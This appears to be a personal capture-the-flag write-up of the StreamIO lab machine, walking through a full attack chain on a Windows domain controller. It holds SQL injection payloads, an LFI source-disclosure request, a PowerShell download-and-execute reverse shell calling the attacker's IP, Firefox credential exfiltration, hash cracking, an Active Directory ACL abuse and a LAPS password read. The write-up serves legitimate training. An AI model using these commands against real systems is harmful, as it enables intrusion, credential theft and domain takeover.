# Lessons Learned
- `feroxbuster` switches for HTTPS
- Use `--insecure` for HTTPS
- Use `-x php` for known extensions
- `sqlmap` switches for HTTPS
- User `--force-ssl` for HTTPS
- MSSQL likes stacked queries
- Try manual UNION injection before using `sqlmap`
```bash
test' UNION SELECT 1,@@version,2,3,4,5,6;-- -
test' ORDER BY 1,2--
```
- Look for `eval` statements in php source with vulnerable `include` parameters
- Note from Ippsec re enum sequence: exhaust local db enum for creds; local privesc; bloodhound AD chain
- Use `firepwd.py` to decrypt exfil'ed firefox creds
---
# # After-Action Attack Sequence
- BLUF: heavy on web fuzzing and SQLi, php source disclosure to find `eval` statement with vulnerable `include` parameter, MSSQL recon, and LAPS
- Significant directory, vhost, subdomain, and page fuzzing
- Found SQLi vulns in `watch.streamio.htb` and `streamio.htb/login/php`
- `streamio.htb/login/php` was a stacked, time-based query, which was super slow
- `watch.streamio.htb` was a UNION injection, which was manual only
- this gave us a list of `user:hashes` using MD5
- confirm with `hyrda [...] https-post-form` that we have valid creds for `yoshihide`
- doesn't work for smb or winrm
- Access `streamio.htb/admin` with creds for `yhoshihide`
- Perform parameter argument fuzzing to reveal `streamio.htb/admin?debug=`
- Return php source for `index.php` and `master.php` (earlier returned with page fuzzing)
- We see creds for `db_admin` in `index.php`
- We see a vulnerable `eval` statement in `master.php` where we can exploit an `include` parameter
- Shell as `yoshihide` using POST request related revshell
- Craft a POST request with the `include` parameter that grabs `shell.php` hosted form Kali with an HTTP cradle with a `ConPtyShell`
- From here, use `sqlcmd` with creds for `db_admin` to dump `user:hashes` from `streamio_backup` db, which could not access with SQLi
- This provides creds for `nikk37`
- Shell as `nikk37` using `evil-winrm`
- decrypt firefox creds within `key4.db` using `firepwd.py`
- This provides creds for `JDgodd` who does not have winrm access
- Run `bloodhound-python` as `JDgodd`
- From here we se that `JDgodd` is owns the object associated with the `Core Staff` group who can read the LAPS password for `DC.streamIO.htb`
- Privesc to `administrator`
- From the shell associated with `nikk37`, create a cred object for `JDgodd` with the associated password as a `securestring`
- `Add-DomainObjectAcl` and `Add-DomainGroupMember` wrt top `JDgodd` and the `Core Staff` group
- Confirm with `net user JDgodd`
- Read LAPS password for `administartor` with `nxc smb [...] --laps`
- Use `psexec.py` to open a shell as `nt authority\system`
---
# Discover Ports & Services
- `ping` test ![[images/Pasted image 20260410193453.png]]
- TTL points towards Windows
- `nmap` scan - light ![[images/Pasted image 20260410193620.png]]
- Looks like a DC
- Let's create a comma separated list of ports for ease
```bash
cat nmap/light | grep -v "#" | grep / | cut -d'/' -f 1 | sed -z 's/\n/,/g; s/,$/\n/'
```
- `nmap` scan - detailed ![[images/Pasted image 20260410194101.png]]
- Domain = `streamIO.htb` and > add to `/etc/hosts`
- Website on port 443 = `watch.streamIO.htb` > add to `/etc/hosts`
- Note: Significant clock skew
- `nmap` scan - UDP ![[images/Pasted image 20260410202426.png]]
---
# Service Enum
## Port 445 (SMB)
- Null auth > denied ![[images/Pasted image 20260410195459.png]] ![[images/Pasted image 20260410205757.png]]
## Port 443 (HTTPS)
### Fingerprint Tech-stack
- Run `whatweb` ![[images/Pasted image 20260411183618.png]]
- PHP 7.2.26 is EOL
![[images/Pasted image 20260411194100.png]]
### Initial Page Visitation
- Visit `streamio.htb` ![[images/Pasted image 20260410200224.png]]
- `/about.php` has some names ![[images/Pasted image 20260410200244.png]]
- `/contact.php` has an e-form ![[images/Pasted image 20260410200334.png]]
- try test ![[images/Pasted image 20260410204100.png]]
- check for response ![[images/Pasted image 20260410204122.png]]
- view request:response in `burp` > we have a POST request ![[images/Pasted image 20260410204152.png]]
- Visit `watch.streamio.htb` ![[images/Pasted image 20260410201122.png]]
- Test email add message ![[images/Pasted image 20260410201205.png]]
- View request:response in `burp` > we have a POST request ![[images/Pasted image 20260410201325.png]]
### Web Fuzzing
- `streamio.htb`
- Page fuzzing ![[images/Pasted image 20260410201729.png]]
- `login.php` looks interesting ![[images/Pasted image 20260410201559.png]]
- We can also register an account at `/register.php` ![[images/Pasted image 20260410201715.png]]
- Dir fuzzing with `feroxbuster` > I need to tune down the recursion depth; takes too long ![[images/Pasted image 20260410203022.png]]
- Edited `/etc/feroxbuster/ferox-config.toml` to limit recursion depth to `2`
- VHOST fuzzing > nothing ![[images/Pasted image 20260410203214.png]]
- Subdomain fuzzing > nothing new![[images/Pasted image 20260410203858.png]]
- `watch.streamio.htb`
- Page fuzzing > nothing ![[images/Pasted image 20260410204356.png]]
- Dir fuzzing with `feroxbuster` > nothing ![[images/Pasted image 20260410204822.png]]
### Registration Test
- Register a test account at `streamio.htb/register.php` ![[images/Pasted image 20260411145828.png]]
- request:response in `burp` ![[images/Pasted image 20260411145859.png]]
- Try to login > failed ![[images/Pasted image 20260411150047.png]]
### Revisit `watch.streamio.htb`
- Run `feroxbuster` again with https flag: `-k`
- Here we found `search.php` and `blocked.php`
```bash
feroxbuster -u https://watch.streamio.htb -k -x php
```
![[images/Pasted image 20260411204359.png]]
- Visit `watch.streamio.htb/blocked.php` ![[images/Pasted image 20260411204717.png]]
- Visit `watch.streamio.htb/search.php` ![[images/Pasted image 20260411204042.png]]
- if we click on `watch` we get a dialog box ![[images/Pasted image 20260411204107.png]]
- If we try to search, a POST request is used ![[images/Pasted image 20260411204155.png]] ![[images/Pasted image 20260411204207.png]]
- This seems like a good SQLi vector
- Create `req2.txt` ![[images/Pasted image 20260411204323.png]]
---
# SQLi
## `watch.streamio.htb/search.php`
### Attempt SQLi with `sqlmap`
- Run `sqlmap` test
```bash
sqlmap -r req2.txt --force-ssl --dmbs=mssql --batch --level=5 --risk=3
```
![[images/Pasted image 20260411205201.png]]
```bash
sqlmap -r req2.txt --force-ssl --level=5 --risk=3 --technique=B --batch --dbs
```
![[images/Pasted image 20260411205909.png]]
### Manual SQLi
- Try manual SQLi with `test' union select 1;-- -` ![[images/Pasted image 20260411210124.png]]
- Try manual SQLi with `test' union select 1,2,3,4,5,6;-- -` ![[images/Pasted image 20260411210159.png]] ![[images/Pasted image 20260411210237.png]]
- Try manual SQLi with `test' union select 1,@@version,3,4,5,6;-- -` ![[images/Pasted image 20260411210605.png]]
- Enumerate dbs
```bash
test' union select 1,name,3,4,5,6 from master..sysdatabases;--
```
![[images/Pasted image 20260411210836.png]]
- After doing some enumeration below, we know that we are targeting the users table in the STREAMIO db, so let's check current db and then try to dump the username and password columns therein
```bash
test' union select 1,DB_name(),3,4,5,6 from master..sysdatabases;-- -
test' union select 1,concat(username,':',password),3,4,5,6 from users;-- -
```
![[images/Pasted image 20260412200118.png]]
![[images/Pasted image 20260412200137.png]]
## `streamio.htb/login.php`
- Issues with `sqlmap -r request.txt` ![[images/Pasted image 20260411150713.png]]
- Next time try adding the `--force-ssl` option ![[images/Pasted image 20260411194626.png]]
- Try with `sqlmap -u "https://streamio.htb/login.php --forms` ![[images/Pasted image 20260411150815.png]]
- POST parameter 'username' appears to be 'Microsoft SQL Server/Sybase stacked queries (comment)' injectable
### Initial db enum
- Start with db info
```bash
sqlmap -u "https://streamio.htb/login.php" --forms --risk=3 --level=5 --dbms=mssql --batch --privilege --current-db --is-dba --banner
```
![[images/Pasted image 20260411171418.png]]
- Enum db users and password
- Only see `sa` user > The System Administrator (`sa`) account is the default, built-in login for Microsoft SQL Server, providing, unrestricted, full control (sysadmin role) over the entire database instance.
```bash
sqlmap -u "https://streamio.htb/login.php" --forms --risk=3 --level=5 --dbms=mssql --batch --users --passwords
```
![[images/Pasted image 20260411151401.png]]
### Attempt to reach `web.config` and open a shell
- Try to run an os command
- Running into `xp_cmdshell` related errors > maybe its disabled
```bash
sqlmap -r request.txt --force-ssl --risk=3 --level=5 --dbms=mssql --batch --technique=S --os-cmd=whoami
```
![[images/Pasted image 20260411200748.png]]
- Try to read `web.config`
```bash
sqlmap -r request.txt --force-ssl --dbms=mssql --technique=S --risk=3 --level=5 --file-read=C:\inetpub\wwwroot\web.config --batch
```
![[images/Pasted image 20260411200916.png]]
- Try `--os-shell`
```bash
sqlmap -r request.txt --force-ssl --dbms=mssql --technique=S --risk=3 --level=5 --os-shell --batch
```
![[images/Pasted image 20260411200708.png]]
- Check current user > `db_user` who is not a DBA
- This is why we were having issues above with reading files and using `xp_cmdshell`
```bash
sqlmap -r request.txt --force-ssl --dbms=mssql --technique=S --risk=3 --level=5 --batch --current-user --threads 10
```
![[images/Pasted image 20260411201214.png]]
![[images/Pasted image 20260411201314.png]]
### Initial db enum
- Enum dbs
```bash
sqlmap -u "https://streamio.htb/login.php" --forms --risk=3 --level=5 --dbms=mssql --batch --technique=S --time-sec=3 --dbs
```
![[images/Pasted image 20260411172830.png]]
### `streamio_backup` db enum
- Enumerate `streamio_backup`
```bash
sqlmap -r request.txt --force-ssl --dbms=mssql --technique=S --risk=3 --level=5 --batch --no-cast -D streamio_backup --tables
```
![[images/Pasted image 20260411201751.png]]
### `STREAMIO` db enum
- Enumerate tables in `STREAMIO`
```bash
sqlmap -u "https://streamio.htb/login.php" --forms --risk=3 --level=5 --dbms=mssql --batch --technique=S --time-sec=3 -D STREAMIO --tables --no-cast
```
![[images/Pasted image 20260411173045.png]]
- Enumerate columns in `STREAMIO.users`
```bash
sqlmap -u "https://streamio.htb/login.php" --forms --risk=3 --level=5 --dbms=mssql --batch --technique=S --time-sec=3 -D STREAMIO --no-cast -T users --columns
```
![[images/Pasted image 20260411173742.png]]
- Dump username and password columns in `STREAMIO.users`
- Stopped after like 2 hours
```bash
sqlmap -u "https://streamio.htb/login.php" --forms --risk=3 --level=5 --dbms=mssql --batch --technique=S --time-sec=3 -D STREAMIO --no-cast -
T users -C username,password --dump
```
![[images/Pasted image 20260412200930.png]]
---
# Revisit creds from the UNION injection relative to `watch.streamio.htb`
## Crack hashes
- Create `combined.txt`
```bash
sudo cat combined.txt | sed 's/ //g' > combined2.txt
```
![[images/Pasted image 20260412201431.png]]
- Create `users.txt`
```bash
cat combined.txt | cut -d ":" -f1 > users.txt
```
![[images/Pasted image 20260412201410.png]]
- Create `hashes.txt`
```bash
cat combined.txt | cut -d ":" -f2 > hashes.txt
```
![[images/Pasted image 20260412201509.png]]
- Try cracking > not sure which hash type we are dealing with
```bash
hashcat combined.txt --username
```
![[images/Pasted image 20260412201639.png]]
- Try with md5 > 32 characters
```bash
hashcat -m 0 combined.txt /opt/rockyou.txt --username
```
![[images/Pasted image 20260412201907.png]]
- Cracked now show with usernames for context
```bash
hashcat -m 0 combined.txt /opt/rockyou.txt --username --show
```
- Create `creds.txt`
```bash
cat cracked.txt | cut -d ":" -f2 --complement > creds.txt #remove middle hashes field
```
- Create `passwords.txt`
```bash
cat creds.txt | cut -d ":" -f2 > passwords.txt
```
## Confirm creds
- Test with with `nxc smb streamio.htb -u users.txt -p passwords.txt` > nothing
- Test with with `nxc winrm streamio.htb -u users.txt -p passwords.txt` > nothing
- Test with `hydra`
```bash
hydra -L users.txt -P passwords.txt streamio.htb https-post-form "/login.php:username=^USER^&password=^PASS^:F=failed"
```
- We have one hit for `yoshihide`
---
# Admin panel
- Previous `feroxbuster` showed a 301 for `/admin`, let's try it now that we have valid creds ![[images/Pasted image 20260412203648.png]]
- Each of the main sub-pages has the same parameters structure ![[images/Pasted image 20260412203719.png]]
- `?message=`, `?movie=`, `?staff=`, `?user=`
- Perform parameter argument fuzzing
```bash
ffuf -u https://streamio.htb/admin/?FUZZ= -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "Cookie: PHPSESSID=31550gi
bjfe1c813hneousgg7c" -c -ic -fs 1678
```
- We have a hidden parameters `?debug=` ![[images/Pasted image 20260412203842.png]]
![[images/Pasted image 20260412204026.png]]
- Try to return php source for `master.php` as we saw this from the `feroxbuster` output
```bash
https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php
```
![[images/Pasted image 20260412204059.png]]
- Decode `master.php`
```bash
echo "string" | base64 -d > master.php
tail -30 master.php
```
![[images/Pasted image 20260412204238.png]]
- Try to return php source for `index.php` as we saw this from the `feroxbuster` output
```bash
https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php
```
- Decode `index.php`
```bash
echo "string" | base64 -d > index.php
tail -30 index.php
```
![[images/Pasted image 20260413193918.png]]
- This gives us creds for `db_admin`
---
# Shell as `yoshihide`
- Let's craft a POST request with the `include` parameter ![[images/Pasted image 20260413194912.png]]
- Flip to a POST ![[images/Pasted image 20260413195941.png]]
- Create `test.php` and serve from Kali ![[images/Pasted image 20260413195728.png]]
- This code should be executed server side > there it is ![[images/Pasted image 20260413200003.png]]
- Download `ConPTYShell`
- Create `shell.php` with an HTTP cradle that invoke `contptyshell`
```php
system("powershell IEX(IWR http://10.10.14.197/conptyshell.ps1 -usebasicparsing); invoke-conptyshell 10.10.14.197 9001");
```
![[images/Pasted image 20260413211828.png]]
- Setup listener with instructions from `conptyshell`
```bash
stty raw -echo; (stty size; cat) | nc -lvnp 9001
```
- Now load up a new POST request ![[images/Pasted image 20260413211856.png]]
- We have a shell as `streamio\yoshide` ![[images/Pasted image 20260413212333.png]]
- We are in `\inetpub\streamio.htb\` ![[images/Pasted image 20260413212536.png]]
- We have limited privs ![[images/Pasted image 20260413212548.png]]
- Attempt to use the creds for `db_admin` against `streamio_backup`
```powershell
sqlcmd -U db_admin -P "B1@hx31234567890" -Q "use streamio_backup; select username,password from users;"
```
![[images/Pasted image 20260413213103.png]]
- Clean up the list of usernames:hashes ![[images/Pasted image 20260413213815.png]]
- Attempt to crack
```bash
hashcat -m 0 backup.userhashes.txt /opt/rockyou.txt --username
```
- We have new creds for `nikk37` test with smb and winrm
- SMB works
- WinRM shows PWNED
- See creds in `creds.txt`
---
# Shell as `nikk37`
- Use above creds for a session with `evil-winrm` ![[images/Pasted image 20260413214231.png]]
## Local privesc enum
- Move `winPEASany.exe` to target
```powershell
curl http://10.10.14.197/winPEASany.exe -o winpeas.exe
```
![[images/Pasted image 20260414193734.png]]
- Run `winpeas.exe` and download to Kali
```powershell
.\winpeas.exe quiet log=winpeas.out
download winpeas.out
```
- Looks like we have a firefox creds file at the below path
- WinPEAS is directing us to use `sharpweb` but it's kind of old according to the last GitHub commit
```powershell
C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db
```
## Decrypt Firefox Creds
- Try using `lazagne` ![[images/Pasted image 20260414195211.png]]
- Looks like this version of `lazagne` only looks at IE?
- Let's exfil, then use either:
- [Firefox Decrypt](https://github.com/unode/firefox_decrypt)
- [firepwd.py, an open source tool to decrypt Mozilla protected passwords](https://github.com/lclevy/firepwd)
```powershell
Compress-Archive -Path "br53rxeg.default-release\*" -DestinationPath ".\archive.zip" -Force
download archive.zip
```
![[images/Pasted image 20260414195448.png]]
- Run `firepwd` within dir that has the unzipped exfil for firefox creds
```bash
python3 firepwd.py
```
- Add decrypted creds to `creds.txt`
- We have a new user `JDgodd`
- Overwrite `users.txt` and `passwords.txt`
```bash
cat creds.txt | awk -F: '{print $1}' > users.txt
cat creds.txt | awk -F: '{print $2}' > passwords.txt
```
![[images/Pasted image 20260414200455.png]]
- Confirm creds with `nxc smb`
```bash
nxc smb streamio.htb -u users.txt -p passwords.txt --continue-on-success
```
- We have valid creds for `JDgodd` to add to those for `yoshihide` and `nikk37` and `db_admin`
- Unfortunately we do not have `winrm` access as `JDgodd`
```bash
nxc winrm streamio.htb -u JDgodd -p password
```
![[images/Pasted image 20260414200955.png]]
## Bloodhound
- Run `rusthound-ce` with creds for `JDgodd`
- Here `bloodhound-python` had better info than `rusthound-ce`
```bash
/opt/rusthound-ce -d streamio.htb -n 10.129.20.90 -u JDgodd -p password -c All -z
bloodhound-python -d streamio.htb -dc dc.streamio.htb -ns 10.129.20.90 -u JDgodd -p password -c All --zip
```
- Spin up bloodhound GUI
```bash
cd /opt/bloodhound; docker compose up -d
```
- Mark `JDgodd`, `yoshihide`, and `nikk37` as owned, then check out shortest paths from owned objects
- Here we notice a new found user `martin` who looks like an admin
![[images/Pasted image 20260414204210.png]]
---
# Domain privesc to `administrator`
## Attempt 1: LAPS Password
- First, let's add `nikk37` to the `Core Staff` group because he is also part of the `Remote Management Users' group
```bash
bloodyAD --dc-ip 10.129.20.90 -d streamio.htb -u JDgodd -p password add groupMember "Core Staff" nikk37
```
- This doesn't work because we need to grant yourself the AddMember permission
## Attempt 2: LAPS Password
- Use the shell as `nikk37` to add `JDgodd` to `Core Staff`
- We need `PowerView.ps1` on the target
```powershell
curl http://10.10.14.197:8000/PowerView.ps1 -o powerview.ps1
$pass = ConvertTo-SecureString password -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('streamio.htb\JDgodd', $pass)
import-module .\powerview.ps1
Add-DomainObjectAcl -Credential $cred -TargetIdentity "Core Staff" -PrincipalIdentity "streamio\JDgodd"
Add-DomainGroupMember -Credential $cred -Identity "Core Staff" -Members "StreamIO\JDgodd"
net user jdgodd
```
![[images/Pasted image 20260414210509.png]]
![[images/Pasted image 20260414210250.png]]
- Now read the LAPS password with either of the below commands
```bash
nxc smb STREAMIO.HTB -u JDGODD -p password --laps
bloodyAD --host 10.129.20.90 -d STREAMIO.HTB -u JDGODD -p password get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
```
- Confirm administrator password with `nxc smb` > PWNED!
## Shell as `administrator`
- Use to carry us home with an administrator shell > `nt authority\system`!
```bash
psexec.py streamio.htb/
[email protected]
```
![[images/Pasted image 20260414211156.png]]